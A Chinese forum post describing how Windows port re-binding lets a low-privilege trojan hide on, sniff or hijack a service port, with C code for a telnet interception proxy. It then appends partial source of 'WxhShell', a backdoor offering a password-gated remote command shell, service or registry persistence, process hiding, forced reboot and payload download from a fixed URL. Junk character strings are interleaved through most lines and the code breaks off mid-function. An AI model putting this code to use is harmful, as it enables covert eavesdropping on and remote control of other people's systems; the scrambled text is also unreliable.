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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DbGS]k<$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PTe L3L  
,54z9F`  
  saddr.sin_family = AF_INET; EU[\D;  
Gwd38  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .}IW!$ dq  
O}M-6!%<,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +,e#uuj$p  
Xa[k=qFo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =j.TDv'^nd  
t3<MoDe7`r  
  这意味着什么?意味着可以进行如下的攻击: 3$?6rMl@y  
cBxGGggB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O<S.fr,  
Tmzbh 9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IuwE&#  
!"^Zr]Qt+\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ">}6i9o  
s9Hxiw@D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y:'Ns$+  
/7}pReUj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "i0>>@NR'  
(b25g!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sN41Bz$q.  
y4-kuMYR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .}==p&(  
f-%M~:  
  #include \jfK']P/H  
  #include &'uP?r9c$  
  #include Oeh A3$|#  
  #include    7FC!^)x1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VLXA6+  
  int main() ddQ+EY@!  
  { k]m ~DVS  
  WORD wVersionRequested; P$E iD+5#z  
  DWORD ret; L FWp}#%  
  WSADATA wsaData; lV\iYX2#  
  BOOL val; ~$J ;yo~  
  SOCKADDR_IN saddr; yqN`R\d  
  SOCKADDR_IN scaddr; c p"K?)  
  int err; gUklP(T=u  
  SOCKET s; $Q*R/MY  
  SOCKET sc; ,rMf;/[  
  int caddsize; ]8A*uyi  
  HANDLE mt; P< OH{l  
  DWORD tid;   ,,Qg"C  
  wVersionRequested = MAKEWORD( 2, 2 ); 2!#g\"  
  err = WSAStartup( wVersionRequested, &wsaData ); #^}H)>jWy  
  if ( err != 0 ) { 'z|Da&d P  
  printf("error!WSAStartup failed!\n"); UoxlEec  
  return -1; g5y+F]'I  
  } Z^kE]Ir#EV  
  saddr.sin_family = AF_INET; M@[W"f Wq  
   6KddHyFz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y3~`qq  
f@i#Znkf*?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ark]>4x>  
  saddr.sin_port = htons(23); qPDNDkjDD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &%2^B[{  
  { lHM+<Z  
  printf("error!socket failed!\n"); p/Pus;*s  
  return -1; 6 f*:;  
  } `2f/4]fY  
  val = TRUE; ]0UYxv%]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $@PruY3[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o GuAF q  
  { $;^|]/-  
  printf("error!setsockopt failed!\n"); $Cz2b/O  
  return -1; s#^0[ Rt  
  } Ul8HWk[6Iw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1KZigeHXI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oJa}NH   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #Z1%XCt  
505c(+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mG~k f]Y  
  { NjIPHM$g  
  ret=GetLastError(); =Kj{wA O  
  printf("error!bind failed!\n"); B $u/n  
  return -1; _=HaE&  
  } 71{Q#%5U~  
  listen(s,2); ~Dt$}l-9  
  while(1) %9cT#9!7  
  { SH)-(+72d  
  caddsize = sizeof(scaddr); m7^f%<l  
  //接受连接请求 , 5W7a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8?Rp2n*o  
  if(sc!=INVALID_SOCKET) v]EMJm6d|  
  { 7Fj8Mp|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C3'xU`=7  
  if(mt==NULL) oJA_" xp  
  { p{,#H/+J  
  printf("Thread Creat Failed!\n"); ny KfM5s_  
  break; Z@s[8wrmPl  
  } w"{DLN[Qw  
  } Va )W[I  
  CloseHandle(mt); 6Z|h>H5 a  
  } 3dN`Q:1R9  
  closesocket(s); D$>!vD'  
  WSACleanup(); t=B1yvE "  
  return 0; I8XP`Ccq  
  }   ^6 wWv&G[8  
  DWORD WINAPI ClientThread(LPVOID lpParam) lie,A  
  { ,zgz7  
  SOCKET ss = (SOCKET)lpParam; b-ss^UL  
  SOCKET sc; A:m+v{*`4  
  unsigned char buf[4096];  qNJc*@s  
  SOCKADDR_IN saddr;  SCfp5W7~  
  long num; !h #ZbErW  
  DWORD val; %SC Jmn2  
  DWORD ret; tK;xW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SZH`-xb!+5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %,WH*")  
  saddr.sin_family = AF_INET; GL?b!4xx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Npxs&Ea  
  saddr.sin_port = htons(23); ]hV!lG1_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UOb` @#  
  { fg LY{  
  printf("error!socket failed!\n"); M P8Sd1_=  
  return -1; ^]sb=Amw  
  } -J3~j kf  
  val = 100; >@7$=Y>D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '> ib K|  
  { y'm!h?8  
  ret = GetLastError(); lpXGsK H2  
  return -1; hJ(vDv%  
  } Z[Tou  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u\Cf@}5(  
  { j&X&&=   
  ret = GetLastError(); ^=eC1 bQA  
  return -1; y"yo\IDW  
  } 1)k+v17]f5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m[eqTh4*  
  { !dT+cZsf  
  printf("error!socket connect failed!\n"); P4@`C{F5m  
  closesocket(sc); a,Pw2Gcid  
  closesocket(ss); H$Kc~#=  
  return -1; oMN<jAU.  
  } v#x`c_  
  while(1) n~UI 47  
  { wH?)ZL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 + ,Krq 3P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8xENzTR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^2- <XD)  
  num = recv(ss,buf,4096,0); WO.u{vW]'  
  if(num>0) VgVDTWs7  
  send(sc,buf,num,0); =p_*lC%N  
  else if(num==0) TVcA%]y{;  
  break; Nf([JP% 4  
  num = recv(sc,buf,4096,0); <<!fA ><W  
  if(num>0) 'S3<' X  
  send(ss,buf,num,0); 0g[ %)C  
  else if(num==0) YVc cO~!8  
  break; /K|(O^nw  
  } TR3U<:  
  closesocket(ss); di/Q Jrw  
  closesocket(sc); & jqylX  
  return 0 ; PcC@}3  
  } ?JZ$M  
>eA@s}_8  
e@vtJaSu  
========================================================== ]mMJ6n  
42]7N3:'  
下边附上一个代码,,WXhSHELL Aax;0qGbH  
l~"T>=jq3  
========================================================== KAnV%j  
jh/,G5RM9  
#include "stdafx.h" K.xABKPVc  
y.lWyH9  
#include <stdio.h> %g@?.YxjT  
#include <string.h> ~)f^y!PMQ  
#include <windows.h> ./ {79  
#include <winsock2.h> Kn:Ml4[;  
#include <winsvc.h> U5kKT.M  
#include <urlmon.h> ['o ueOg  
{3x>kRaKci  
#pragma comment (lib, "Ws2_32.lib") l L;5*@  
#pragma comment (lib, "urlmon.lib") vu0Ue  
:e7\z  
#define MAX_USER   100 // 最大客户端连接数 <-k!  
#define BUF_SOCK   200 // sock buffer C7S\4rDJ  
#define KEY_BUFF   255 // 输入 buffer ASHU0v  
0o+Yjg>\~8  
#define REBOOT     0   // 重启 o=R(DK# U  
#define SHUTDOWN   1   // 关机 iv>MIdIm  
_;03R{e*  
#define DEF_PORT   5000 // 监听端口 YTyrX  
^m%#1Zd  
#define REG_LEN     16   // 注册表键长度 Uuy$F  
#define SVC_LEN     80   // NT服务名长度 x.-d)]a!  
?Ujg.xo\  
// 从dll定义API RKP, w %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jae9!W i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?C[?dg{n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  E4eX fu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 14 & KE3`  
MoFM'a9  
// wxhshell配置信息 (|BY<Ac3  
struct WSCFG { Ip'tB4Mq  
  int ws_port;         // 监听端口 E<\$3G-do  
  char ws_passstr[REG_LEN]; // 口令 bq ED5;d'#  
  int ws_autoins;       // 安装标记, 1=yes 0=no nx'c=gp  
  char ws_regname[REG_LEN]; // 注册表键名 KZjh<sjX|  
  char ws_svcname[REG_LEN]; // 服务名 ~bZ =]i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?:wb#k)Z/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gQr+ ~O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g$s;;V/8e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -~{Z*1`,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O#U maNj/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >S I'Q7k  
M,fL(b;2  
}; .v+JV6!u  
2#7|zhgb  
// default Wxhshell configuration Zkd{EMW  
struct WSCFG wscfg={DEF_PORT, \o!3TK"N  
    "xuhuanlingzhe", #`u}#(  
    1, gko=5|c,@  
    "Wxhshell", $!_ X9)e  
    "Wxhshell", 6&x\!+]F8  
            "WxhShell Service", '<o3x$6 *  
    "Wrsky Windows CmdShell Service", 4SI~y;c)  
    "Please Input Your Password: ", W,@ F!8  
  1, $Er=i }`  
  "http://www.wrsky.com/wxhshell.exe", 'V7LL1K^>  
  "Wxhshell.exe" w!"L\QT  
    }; C{bxPILw  
&DMC\R*j  
// 消息定义模块 S=k!8]/d|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y$L` G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +fk*c[FG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7z$Z=cs  
char *msg_ws_ext="\n\rExit."; 2{h2]F  
char *msg_ws_end="\n\rQuit."; 8b?nr;@  
char *msg_ws_boot="\n\rReboot..."; x/O;8^b  
char *msg_ws_poff="\n\rShutdown..."; SxY z)aF~  
char *msg_ws_down="\n\rSave to "; i]c{(gd`  
Rv&"h_"t  
char *msg_ws_err="\n\rErr!"; jg?UwR&  
char *msg_ws_ok="\n\rOK!"; 4 "2%mx:  
bX$z)]KKu  
char ExeFile[MAX_PATH]; WRD z*Zf  
int nUser = 0; {c*$i^T  
HANDLE handles[MAX_USER]; K(?V]Mxl6  
int OsIsNt; Q("m*eMRt  
uU 7 <8G  
SERVICE_STATUS       serviceStatus; WPRk>j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hq7f"`  
G0 EXgq8  
// 函数声明 Rmw=~NP5  
int Install(void); ]Uwp\2Bc  
int Uninstall(void); @4;'>yr(  
int DownloadFile(char *sURL, SOCKET wsh); lBfthLBa  
int Boot(int flag); 5$ =[x!x  
void HideProc(void); tKt}]KHV  
int GetOsVer(void); 5b:1+5iF-  
int Wxhshell(SOCKET wsl); ?V2P]|  
void TalkWithClient(void *cs); 9&* 7+!  
int CmdShell(SOCKET sock); L"'=[O~  
int StartFromService(void); -4x! #|]  
int StartWxhshell(LPSTR lpCmdLine); Dd1k?  
<~dfp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fDsT@W,K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bb=r?;zjO  
:=B.)]F.)  
// 数据结构和表定义 E.*hY+kGZ  
SERVICE_TABLE_ENTRY DispatchTable[] = vt5w(}v(  
{ 0HWSdf|w  
{wscfg.ws_svcname, NTServiceMain}, KF'fg R  
{NULL, NULL} d7kE}{,  
}; / <(|4e  
7SHllZ  
// 自我安装 0G8@UJv6  
int Install(void) ;((t|  
{ 'KjH|u  
  char svExeFile[MAX_PATH]; QT+kCN  
  HKEY key; US)i"l7:H*  
  strcpy(svExeFile,ExeFile); 1#x5 o2n  
%O9Wm_%  
// 如果是win9x系统,修改注册表设为自启动 ~+'f[!^  
if(!OsIsNt) { sR/Y v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ""7H;I&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .8QhJHwd  
  RegCloseKey(key); ug]2wftlQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fR[8O\U~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;:=j{,&dl[  
  RegCloseKey(key); _AF$E"f@  
  return 0; FC+-|1?C  
    } Ou1kSG|kM  
  } >c0leT  
} d9JAt-6z2  
else { RP2$(%  
MX]#|hEeQ  
// 如果是NT以上系统,安装为系统服务 Lz1KDXr`)+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "=Z=SJ1D  
if (schSCManager!=0) h~Ir= JV  
{ <*J"6x  
  SC_HANDLE schService = CreateService @rT$}O1?`  
  ( )s>|;K{  
  schSCManager, `mcb0  
  wscfg.ws_svcname, [,U l  
  wscfg.ws_svcdisp, K-]) RIM  
  SERVICE_ALL_ACCESS, <p<6!tdO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #om Gj&  
  SERVICE_AUTO_START, Vl$RMW@Ds  
  SERVICE_ERROR_NORMAL, ~EmK;[Z  
  svExeFile, |\Gkhi>;  
  NULL, #!_4ZX  
  NULL, ulALGzPh  
  NULL, \'=svJ   
  NULL, J <z ^C  
  NULL )F hbN@3  
  ); VJ#ys _W  
  if (schService!=0) $E[O}+L$#  
  { O_ r-(wE4  
  CloseServiceHandle(schService); I0l3"5X a  
  CloseServiceHandle(schSCManager); cWnEp';.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y3( ~8n  
  strcat(svExeFile,wscfg.ws_svcname); rWWp P<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z@UH[>^gj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @wD#+Oz  
  RegCloseKey(key); O)^F z:  
  return 0; \GHj_r  
    } gIweL{Pc  
  } i+S%e,U*  
  CloseServiceHandle(schSCManager); Z<|x6%  
} B[mZQ&Gz`a  
} vV"YgN:  
v3[ZPc;;  
return 1; Ew]&~:$Ki  
} LntRLB'  
+mG"m hF  
// 自我卸载 T=w0T-[f  
int Uninstall(void) WMKxGZg"  
{ W/RB|TMT  
  HKEY key; GF@` ~im  
IV&5a]j  
if(!OsIsNt) { :{eYm|2-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sz%]rN6$  
  RegDeleteValue(key,wscfg.ws_regname); [GCaRk>b,  
  RegCloseKey(key); D+AkV|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !|9@f$Jv  
  RegDeleteValue(key,wscfg.ws_regname); i*l =xW;bM  
  RegCloseKey(key); xX%{i0E  
  return 0; I RLAsb3  
  } @sa_/LH!K  
} TyO]|Q5  
} yz3=#  
else { 'xuxMav6m  
w?_'sP{pd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F+5 5p8  
if (schSCManager!=0) , MqoX-+  
{ 2 .Xx)(>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;|\j][A  
  if (schService!=0) PQi(Oc  
  { V,Bol(wY  
  if(DeleteService(schService)!=0) { a-#$T)mmfj  
  CloseServiceHandle(schService); bOYM-\ {y  
  CloseServiceHandle(schSCManager); dM}c-=w`  
  return 0; u=PLjrB~}  
  } 8fQfu'LyjY  
  CloseServiceHandle(schService); fM& fqI  
  } ) F -8  
  CloseServiceHandle(schSCManager); Wt5pK[JV  
} Z1$ S(p=)L  
} &n?RKcH}d  
Cw!tB1D  
return 1; 1e9~):C~W  
} J10/pS  
C5KUIOg  
// 从指定url下载文件 kg(}%Ih  
int DownloadFile(char *sURL, SOCKET wsh) asQ^33g z  
{ SPe%9J+  
  HRESULT hr; cAx$W6S  
char seps[]= "/"; (uHyWEHt  
char *token; _^?_Vb  
char *file; nql{k/6  
char myURL[MAX_PATH]; 3 %BI+1&T_  
char myFILE[MAX_PATH]; HOPl0fY$L  
6%9 kc+ 9  
strcpy(myURL,sURL); Rc93Fb-Zp  
  token=strtok(myURL,seps); g^:`h VV  
  while(token!=NULL) @G>e Cj  
  { /ZL6gRRA|  
    file=token; $qpW?<>,0  
  token=strtok(NULL,seps); lQgavP W!  
  } 2.{zf r  
vytO8m%U  
GetCurrentDirectory(MAX_PATH,myFILE);  `uDOIl  
strcat(myFILE, "\\"); 5ld?N2<8/  
strcat(myFILE, file); wU/fGg*M2  
  send(wsh,myFILE,strlen(myFILE),0); .2|(!a9W  
send(wsh,"...",3,0); 1TzwXX7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $PlMyLu7jc  
  if(hr==S_OK) ;x FB /,  
return 0; %"#ydOy  
else L*rCUv`  
return 1; [Tvdchl OC  
nXuy&;5TL,  
} @d8Nr:  
2#qc YU  
// 系统电源模块 CCC9I8rZD  
int Boot(int flag) #l*w=D?  
{ M) JozD%  
  HANDLE hToken; Ag{)?5/d_  
  TOKEN_PRIVILEGES tkp; 0XC3O 8q  
,1t|QvO  
  if(OsIsNt) { 2/F8kVx{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +~1FKLu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A58P$#)?  
    tkp.PrivilegeCount = 1; IW}Wt{'m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @eESKg(,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jW^]N$>  
if(flag==REBOOT) { . Y!dO@$:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,l,q;]C%  
  return 0; I4 <_y5  
} ZBH^0  
else { x*X{*?5@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8X? EB6=c  
  return 0; ~XXNzz ]?  
} JCB3 BZg7&  
  } _$vbb#QXZG  
  else { T' Jl,)"  
if(flag==REBOOT) { #N"QTD|i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mYk~ ]a-  
  return 0; |~v2~   
} ]X X>h~0  
else { {EVy.F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %n,_^voE  
  return 0; DHvZ:)aT}  
} A&jR-%JG  
}  e?o/H  
fU.z_ T[@  
return 1; (_N(K`4#W  
} U9\w)D|+eE  
D deKZ)8  
// win9x进程隐藏模块 ]Ee$ulJ02  
void HideProc(void) 3/c%4b.Z  
{ s I0:<6W  
`4Fw,:+e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m,5?|J=  
  if ( hKernel != NULL ) lG[j,MDs  
  { qJ~fEX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  7?vj+1;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); puh-\Q/P  
    FreeLibrary(hKernel); !@arPN$  
  } tu ;Pm4q7  
<a+ @4d;  
return; B <G,{k  
} w)R5@ @C*  
s._,IW;   
// 获取操作系统版本 g">^#^hBE  
int GetOsVer(void) {=,I>w]T|W  
{ +KTHZpp!c2  
  OSVERSIONINFO winfo; .jbxA2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CFoR!r:X  
  GetVersionEx(&winfo); r&F 6ZCw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4`o<e)c3  
  return 1; \0e`sOS`L  
  else nYBa+>3BDf  
  return 0; ^nFP#J)_5  
} ?1LRR ;-x  
^q|W@uG-(  
// 客户端句柄模块 }Q6o#oZ  
int Wxhshell(SOCKET wsl) v@J[qpX  
{ ?jvuTS2  
  SOCKET wsh; #\K"FE0PGz  
  struct sockaddr_in client; R`Hy0;X  
  DWORD myID; E>r7A5Uo  
*l%&/\  
  while(nUser<MAX_USER) &xt GabNk  
{ )4 ,U  
  int nSize=sizeof(client); -I;\9r+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f)r6F JLU  
  if(wsh==INVALID_SOCKET) return 1; 50T^V`6  
_S-@|9\&#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rrphOG  
if(handles[nUser]==0) LEX @hkh  
  closesocket(wsh); f'M([gn^_  
else `UqX`MFz  
  nUser++; VZ 7(6?W  
  } )$d~HA@B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); );n/G  
*!dA/sid  
  return 0; zXbA$c  
} }EJ/H3<  
Wu$yB!  
// 关闭 socket zW)Wt.svP  
void CloseIt(SOCKET wsh) RU>qj *e  
{ _w'_l>I  
closesocket(wsh); !*?9n ^PaF  
nUser--; @tJic|)x  
ExitThread(0); vF[ 4kDHk  
} 8f65;lyN  
OF-VVIS  
// 客户端请求句柄 {:Kr't<XzF  
void TalkWithClient(void *cs) {9^p3Q+:P  
{ q)AX*T+  
0y+i?y 9  
  SOCKET wsh=(SOCKET)cs; 2n-kJl`: O  
  char pwd[SVC_LEN]; Ea-U+7JC  
  char cmd[KEY_BUFF]; Qam48XZ >  
char chr[1]; H4sc7-  
int i,j; 1<*U:W $g  
H(y Gh  
  while (nUser < MAX_USER) { Tb8r+~HK  
ojA!!Ru  
if(wscfg.ws_passstr) { 64>CfU(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #5{BxX&\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MpIiHKQ G9  
  //ZeroMemory(pwd,KEY_BUFF); P|C5k5  
      i=0; 1083p9Uh  
  while(i<SVC_LEN) { ovDPnf(  
sc6NON#  
  // 设置超时 %hdjQIH  
  fd_set FdRead; [8 H:5 Ho  
  struct timeval TimeOut; ZNL+w4  
  FD_ZERO(&FdRead); g=,}j]tl  
  FD_SET(wsh,&FdRead); qOnGP{   
  TimeOut.tv_sec=8; l(@c  
  TimeOut.tv_usec=0; :-$8u;!M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N0JdU4'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `46.!  
GJs~aRiz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (vvD<S*  
  pwd=chr[0]; @X560_x[q  
  if(chr[0]==0xd || chr[0]==0xa) { f$vTDak  
  pwd=0; GS}JyU  
  break; 9jM7z/Ff  
  } @7V~CNB+  
  i++; >VX'`5r>uw  
    } ZE~zs~z|  
KDH<T4#x  
  // 如果是非法用户,关闭 socket 1EWZA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A r>BL2@  
} =q`T|9v  
Gzg3{fXl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !ab ef.%:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )} t't"  
L' bY,D(J>  
while(1) { ;Me*# /  
;K%/s IIke  
  ZeroMemory(cmd,KEY_BUFF); Q;A\M  
YhqMTOw  
      // 自动支持客户端 telnet标准   g x?r8  
  j=0; NK(_ &.F  
  while(j<KEY_BUFF) { M CP GDr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y\Utm$)j  
  cmd[j]=chr[0]; ()F {kM8  
  if(chr[0]==0xa || chr[0]==0xd) { 1xkrh qq  
  cmd[j]=0; ZmNNR 1%/  
  break;  p(8@  
  } *c&|2EsZ  
  j++; x}V&v?1{5  
    } ^H{YLO  
\xv(&94U  
  // 下载文件 G.v(2~QFd  
  if(strstr(cmd,"http://")) { {8`$~c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UT9u?  
  if(DownloadFile(cmd,wsh)) aql8Or1[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(ITv roM/  
  else sf# px|~9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V*@Y9G  
  } 4RYH^9;>K  
  else { @qj]`}Gx'  
|r36iUHZS  
    switch(cmd[0]) { Id>4fF:o  
  >xq. bG  
  // 帮助 m8e()8lZ3  
  case '?': { Kfr1k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kxJ[Bi#  
    break; j0V/\Ep)T<  
  }  Pd(_  
  // 安装 tMp! MQ  
  case 'i': { {*[(j^OE  
    if(Install()) { I\og  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ws^Ne30R  
    else ' VKD$q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :."oWqb)  
    break; n+te5_F  
    } jlFlhj:/I  
  // 卸载 di0@E<@1:  
  case 'r': { L$.3,./  
    if(Uninstall()) 1 <+aF,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vv{+p(~**O  
    else Jww#zEK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;Sb^c"j1  
    break; x&0kIF'lq  
    } f.+1Ubq!5  
  // 显示 wxhshell 所在路径 WvSm!W  
  case 'p': { 9OW8/H&!  
    char svExeFile[MAX_PATH]; pt,L  
    strcpy(svExeFile,"\n\r"); a !%,2|U  
      strcat(svExeFile,ExeFile); }(|gC,  
        send(wsh,svExeFile,strlen(svExeFile),0); LdN[N^n[H  
    break; k0K$OX*:e  
    } p'1/J:EnV  
  // 重启 !4'Fz[RK  
  case 'b': { v^8sL` F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UeLO`Ug0;  
    if(Boot(REBOOT)) +>K&zS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i/1$uQ  
    else { >7%T%2N  
    closesocket(wsh); G8klWZAJ  
    ExitThread(0); f:<BUqa  
    } f17E2^(I(}  
    break; }^ ,D~b-nB  
    } r9'[7b1l  
